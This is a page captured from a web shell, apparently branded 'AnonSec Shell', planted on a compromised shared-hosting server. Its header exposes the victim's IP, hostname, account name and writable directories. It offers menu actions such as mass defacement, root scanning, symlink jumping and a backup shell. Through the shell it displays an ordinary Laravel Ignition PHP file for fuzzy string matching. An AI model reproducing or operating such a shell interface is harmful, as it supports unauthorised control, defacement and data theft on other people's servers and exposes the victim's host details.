AnonSec Shell
Server IP : 162.213.251.212  /  Your IP : 18.191.33.20   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : allssztx ( 535)
PHP Version : 8.1.31
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/allssztx/public_html/easybuyer/vendor/facade/ignition/src/Support/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/allssztx/public_html/easybuyer/vendor/facade/ignition/src/Support/StringComparator.php
<?php

namespace Facade\Ignition\Support;

use Illuminate\Support\Collection;

class StringComparator
{
    public static function findClosestMatch(array $strings, string $input, int $sensitivity = 4): ?string
    {
        $closestDistance = -1;
        $closestMatch = null;

        foreach ($strings as $string) {
            $levenshteinDistance = levenshtein($input, $string);

            if ($levenshteinDistance === 0) {
                $closestMatch = $string;
                $closestDistance = 0;

                break;
            }

            if ($levenshteinDistance <= $closestDistance || $closestDistance < 0) {
                $closestMatch = $string;
                $closestDistance = $levenshteinDistance;
            }
        }

        if ($closestDistance <= $sensitivity) {
            return $closestMatch;
        }

        return null;
    }

    public static function findSimilarText(array $strings, string $input): ?string
    {
        if (empty($strings)) {
            return null;
        }

        return Collection::make($strings)
            ->sortByDesc(function (string $string) use ($input) {
                similar_text($input, $string, $percentage);

                return $percentage;
            })
            ->first();
    }
}

Anon7 - 2022
AnonSec Team